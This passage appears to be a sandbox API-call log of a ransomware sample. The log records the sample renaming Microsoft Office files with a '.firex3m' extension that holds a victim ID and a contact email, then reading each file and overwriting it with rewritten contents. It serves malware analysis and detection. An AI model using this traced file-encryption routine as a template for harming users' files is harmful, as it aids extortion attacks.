lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.648] CloseHandle (hObject=0x710) returned 1 [0146.648] GetProcessHeap () returned 0x630000 [0146.648] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ece498 | out: hHeap=0x630000) returned 1 [0146.648] GetProcessHeap () returned 0x630000 [0146.648] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ece9e8 | out: hHeap=0x630000) returned 1 [0146.648] GetProcessHeap () returned 0x630000 [0146.648] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0146.648] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.648] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b5d49a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b5d49a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d5ab150, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x29b, dwReserved0=0x333fd20, dwReserved1=0x6ece9e8, cFileName="MSOUC_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSOUC_~4.FIR")) returned 0x6d5000 [0146.648] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0146.648] Sleep (dwMilliseconds=0x1) [0146.682] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_COL.HXC", len=0x45 | out: pbstr=0x333ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_COL.HXC") returned 1 [0146.682] GetProcessHeap () returned 0x630000 [0146.682] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26d0) returned 0x71f7c78 [0146.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0146.683] CloseHandle (hObject=0x710) returned 1 [0146.683] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.683] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_col.hxc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.684] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.684] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b8364e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b8364e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSACCE~3.FIR")) returned 0x6d4e00 [0146.684] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0146.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_col.hxc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0146.684] GetProcessHeap () returned 0x630000 [0146.684] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2a1) returned 0x67c6a8 [0146.684] GetProcessHeap () returned 0x630000 [0146.684] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2a1) returned 0x67c970 [0146.684] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.684] ReadFile (in: hFile=0x710, lpBuffer=0x67c6a8, nNumberOfBytesToRead=0x280, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67c6a8*, lpNumberOfBytesRead=0x333ff0c*=0x280, lpOverlapped=0x0) returned 1 [0146.688] GetProcessHeap () returned 0x630000 [0146.688] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0146.688] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.688] WriteFile (in: hFile=0x710, lpBuffer=0x67c970*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67c970*, lpNumberOfBytesWritten=0x333ff0c*=0x280, lpOverlapped=0x0) returned 1 [0146.688] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.689] WriteFile (in: hFile=0x710, lpBuffer=0x67cbef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67cbef*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.689] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.689] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.689] CloseHandle (hObject=0x710) returned 1 [0146.689] GetProcessHeap () returned 0x630000 [0146.689] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67c970 | out: hHeap=0x630000) returned 1 [0146.689] GetProcessHeap () returned 0x630000 [0146.689] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67c6a8 | out: hHeap=0x630000) returned 1 [0146.689] GetProcessHeap () returned 0x630000 [0146.689] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0146.689] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.689] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b8364e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b8364e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d61d931, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2aa, dwReserved0=0x333fd20, dwReserved1=0x67c6a8, cFileName="MSACCESS_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSACCE~3.FIR")) returned 0x6d5040 [0146.689] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0146.689] Sleep (dwMilliseconds=0x1) [0146.729] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS", len=0x41 | out: pbstr=0x333ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS") returned 1 [0146.729] GetProcessHeap () returned 0x630000 [0146.729] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26cc) returned 0x71f7c78 [0146.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0146.731] CloseHandle (hObject=0x6e8) returned 1 [0146.731] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.731] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess.hxs.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.732] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.732] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1de43d5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4297c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSACCE~4.FIR")) returned 0x6d4e00 [0146.732] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0146.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess.hxs.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0146.732] GetProcessHeap () returned 0x630000 [0146.732] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7205788 [0146.732] GetProcessHeap () returned 0x630000 [0146.732] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7210bb8 [0146.732] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.732] ReadFile (in: hFile=0x6e8, lpBuffer=0x7205788, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7205788*, lpNumberOfBytesRead=0x333ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0154.475] GetProcessHeap () returned 0x630000 [0154.475] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0154.475] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.475] WriteFile (in: hFile=0x6e8, lpBuffer=0x7210bb8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7210bb8*, lpNumberOfBytesWritten=0x333ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0154.476] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.476] WriteFile (in: hFile=0x6e8, lpBuffer=0x721bfb7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x721bfb7*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0156.700] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.700] WriteFile (in: hFile=0x6e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0156.700] CloseHandle (hObject=0x6e8) returned 1 [0156.701] GetProcessHeap () returned 0x630000 [0156.701] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7210bb8 | out: hHeap=0x630000) returned 1 [0156.701] GetProcessHeap () returned 0x630000 [0156.701] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7205788 | out: hHeap=0x630000) returned 1 [0156.701] GetProcessHeap () returned 0x630000 [0156.701] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0156.701] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0156.701] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1de43d5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x235a5a7e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x429a0, dwReserved0=0xc1c7496, dwReserved1=0x7205780, cFileName="MSACCESS.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSACCE~4.FIR")) returned 0x6d5340 [0156.701] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0156.701] Sleep (dwMilliseconds=0x1) [0158.812] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x333ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\LocalizedStrings.xml") returned 1 [0158.812] GetProcessHeap () returned 0x630000 [0158.812] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2c28) returned 0x707d3d0 [0158.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\it\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0158.813] CloseHandle (hObject=0x5ec) returned 1 [0158.813] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0158.813] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\it\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\it\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0158.814] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.814] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10ce, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5280 [0158.814] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0158.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\it\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0158.815] GetProcessHeap () returned 0x630000 [0158.815] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10e1) returned 0x714508 [0158.815] GetProcessHeap () returned 0x630000 [0158.815] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10e1) returned 0x71aa040 [0158.815] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.815] ReadFile (in: hFile=0x5ec, lpBuffer=0x714508, nNumberOfBytesToRead=0x10c0, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x714508*, lpNumberOfBytesRead=0x333ff0c*=0x10c0, lpOverlapped=0x0) returned 1 [0158.832] GetProcessHeap () returned 0x630000 [0158.832] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71772b8 [0158.832] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.832] WriteFile (in: hFile=0x5ec, lpBuffer=0x71aa040*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71aa040*, lpNumberOfBytesWritten=0x333ff0c*=0x10c0, lpOverlapped=0x0) returned 1 [0158.832] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.832] WriteFile (in: hFile=0x5ec, lpBuffer=0x71ab0ff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71ab0ff*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0158.832] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.833] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0158.833] CloseHandle (hObject=0x5ec) returned 1 [0158.833] GetProcessHeap () returned 0x630000 [0158.833] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71aa040 | out: hHeap=0x630000) returned 1 [0158.833] GetProcessHeap () returned 0x630000 [0158.833] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x714508 | out: hHeap=0x630000) returned 1 [0158.833] GetProcessHeap () returned 0x630000 [0158.833] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71772b8 | out: hHeap=0x630000) returned 1 [0158.833] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.833] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x249ebc83, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x10f2, dwReserved0=0xc1c7496, dwReserved1=0x714500, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5280 [0158.833] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0158.833] Sleep (dwMilliseconds=0x1) [0158.854] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x333ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\LocalizedStrings.xml") returned 1 [0158.854] GetProcessHeap () returned 0x630000 [0158.854] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2c20) returned 0x707d3d0 [0158.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hu\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0158.855] CloseHandle (hObject=0x5ec) returned 1 [0158.855] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0158.855] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hu\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hu\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0158.856] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.856] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16710914, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1152, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5280 [0158.856] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0158.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hu\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0158.857] GetProcessHeap () returned 0x630000 [0158.857] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1161) returned 0x71aa040 [0158.857] GetProcessHeap () returned 0x630000 [0158.857] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1161) returned 0x727ae80 [0158.857] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.857] ReadFile (in: hFile=0x5ec, lpBuffer=0x71aa040, nNumberOfBytesToRead=0x1140, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 